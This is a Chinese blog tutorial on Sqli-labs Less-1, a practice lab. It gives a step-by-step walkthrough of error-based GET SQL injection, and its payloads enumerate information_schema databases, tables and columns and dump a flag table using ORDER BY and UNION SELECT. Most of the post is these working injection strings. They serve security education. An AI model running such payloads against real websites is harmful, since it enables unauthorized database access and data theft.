首页 > 数据库 >Sqli-labs,sql注入靶场less1 全网最详细,每条命令都有详解

Sqli-labs,sql注入靶场less1 全网最详细,每条命令都有详解

时间:2024-12-04 22:34:10浏览次数:8  
标签:information union 数据库 labs Sqli flag sql id schema

一、less1基于错误的GET单引号字符型注入1、观察到页面输入?id=1后返回正常页面,把id=2也返回正常页面,在id=3的后面加入单引号出现报错,由此判断存在sql注入

7cfec2d123c2410f92d8d9b0626eafee.png

2、接下来我们可以使用mysql的union联合查询的方式来进行漏洞利用,由于union内部的select语句必须拥有相同的列,要不会报错,所以我们要先判断出当前表的列数,下面可以使用order by来构造注入语句构造语句来判断有多少列,页面返回正常发现有第三列,当输入4的时候页面报错,判断只有三列,order by是sql查询中对结果进行排序的语句,当表中没有第四列的时候就会返回报错,所以使用该命令来判断,--+的意思是注释吊后面,在sql注入中#号也是注释的意思,一般使用他的url编码后的格式注入,%23

?id=1'order by 3 --+ 

de69aee7715b4634a55edb18d88ed41b.png

3、输入4后发现页面报错,由此判断该表中存在三列即三个字段,接下来判断哪些字段会出现回显,我们构造语句使用-1是为了确保查询结果为空从而能够显示后面union的结果

?id=-1'union select 1,2,3 --+

d50c4d0abe8b497ab1d24b3cd926c2e5.png

4、发现2,3处有回显,接下来构造语句来查看当前用户名和数据库名database()命令是查看表名,user()是查看当前数据库的用户名

?id=-1'union select 1,database(),user() --+,database()

02e556ec12b742cf91dabdb7ca62727a.png

5、拿到数据库名字后利用mysql自带的系统数据库information_schema来查看当前所有数据库的名字,information_schema这个数据库里面包含了所有数据库的名字,schema_name是系统数据库information_schema中的一个字段,即列,该列包含了当前mysql下所有数据库的名字,group_concat()函数是为了将所有数据库的名字合并成一个字符串返回,该函数会将各个数据库的名字用逗号隔开来返回 

?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata--+

f5e4530cce444c2e8a41d148296aac5a.png

 6、看到了有一个数据库的名字是flag,我们现在需要拿到该数据库的表名,构造如下语句,0x666c6167是数据库flag名字flag的16进制格式,在这句话中information_schema.tables是系统库information_schema的另一个表,该表包含了当前mysql下所有表的名字,其中table_schema是列名

?id=-1'union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=0x666c6167

7b5511a36a8d41078199943609475f44.png

 7、看到了flag数据库中有一个名为flagtable的表名,继续构造语句来查看该表下的字段名字,其中column_name是information_schema.columns表中的一个字段名字,该表包含了当前mysql下所有字段的名字。

?id=-1'union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x666C61677461626C65

e5357efc1f3243f29fb972dfac895e19.png

 8、看到当前表下有一个flag的字段,继续构造语句拿到字段下的内容,其中,group_concat函数的意思是把id和flag两个字段的内容以一个字符串的形式显示,0x3A对应的ascii码是冒号,所以意思是这两个列的内容用冒号隔开,最后拿到flag

?id=-1 union select 1,2,group_concat(id,0x3A,flag)from flag.flagtable --+

9be42c02bf384c3798a87f87226b1536.png

 

标签:information,union,数据库,labs,Sqli,flag,sql,id,schema
From: https://blog.csdn.net/2401_89478347/article/details/144251418

相关文章

  • JVM优化,Redis,MySQL相关面试题
    一、平常对SQL优化的了解1.索引优化创建索引:为常用的查询字段创建索引,可以显著提高查询速度。例如,为订单金额的字段创建索引,可以加速按订单金额的排序操作。优化索引:定期维护索引,避免索引碎片化,保持索引性能。使用覆盖索引:通过创建覆盖索引,可以避免回表操作,进一步提高查......
  • 微信小程序连接MySQL补充
     我的小程序的主要作用是创建了一个页面,用来提交姓名。MySQL接收。前期server.js文件的配置教程很多,我直接按照前面博主教的方法来的。在微信小程序内建终端里运行server.js文件。这部分是我的index.js代码Page({data:{name:''},submitForm:function(e){......
  • php毕业设计在线购物系统零食购物商城电商系统购物网站php+mysql+html计算机毕业设计
     一,功能介绍        前台主要包括网站首页、商品推荐、最新商品、新闻咨询、商品分类、商品资讯、评论、登录、注册、加入购物车、结算、个人中心等功能模块商品推荐、最新商品在商品推荐、最新商品模块,用户可以查看全部商品信息,选择商品进行添加购物车等操作,购......
  • MySQL 同一张表根据查询条件再更新字段
    有这么一张表,表结构如下所示:应用记录表字段名类型说明是否为空备注idbigint(20)Nonamevarchar(255)名称Nodescvarchar(1000)描述Yessource_idbigint(20)来源Yes自建应用该字段为空column_idbigint(20)所属专栏Yes未被专栏收录该字段为空完整的数据如图所示:由于一些......
  • SQL-分组聚合 - having 子句
    在SQL中,HAVING子句用于在分组聚合后对分组进行过滤。它允许我们对分组后的结果进行条件筛选,只保留满足特定条件的分组。HAVING子句与条件查询WHERE子句的区别在于,WHERE子句用于在分组之前进行过滤,而HAVING子句用于在分组之后进行过滤。示例假设有一个订单表order......
  • SQL-分组聚合 - 多字段分组
    有时,单字段分组并不能满足我们的需求,比如想统计学校里每个班级每次考试的学生情况,这时就可以使用多字段分组。多字段分组和单字段分组的实现方式几乎一致,使用GROUPBY语法即可。示例假设有一个订单表orders,包含以下字段:order_id(订单号)、product_id(商品编号)、customer_id(客户......
  • SQL-函数 - 聚合函数
    在SQL中,聚合函数是一类用于对数据集进行汇总计算的特殊函数。它们可以对一组数据执行诸如计数、求和、平均值、最大值和最小值等操作。聚合函数通常在SELECT语句中配合GROUPBY子句使用,用于对分组后的数据进行汇总分析。常见的聚合函数包括:COUNT:计算指定列的行数或非空......
  • SQL-分组聚合 - 单字段分组
    在SQL中,分组聚合是一种对数据进行分类并对每个分类进行聚合计算的操作。它允许我们按照指定的列或字段对数据进行分组,然后对每个分组应用聚合函数,如COUNT、SUM、AVG等,以获得分组后的汇总结果。举个例子:某个学校可以按照班级将学生分组,并对每个班级进行统计。查看每个班级有多......
  • SQL-函数 - 时间函数
    在SQL中,时间函数是用于处理日期和时间的特殊函数。它们允许我们在查询中操作和处理日期、时间、日期时间数据,从而使得在数据库中进行时间相关的操作变得更加方便和灵活。常用的时间函数有:DATE:获取当前日期DATETIME:获取当前日期时间TIME:获取当前时间示例假设有一个订单表o......
  • php毕业设计服装购物商城在线购物系统电商系统电子商城线上购物系统购物网站计算机毕
    一.功能介绍用户前台功能:    前台主要包括网站首页、商品推荐、全部商品、热门商品、商品分类、商品资讯、评论、登录、注册、加入购物车、结算、个人中心等功能模块商品推荐、最新商品在商品推荐、热门商品模块,用户可以查看全部商品信息,选择商品进行添加购物车等......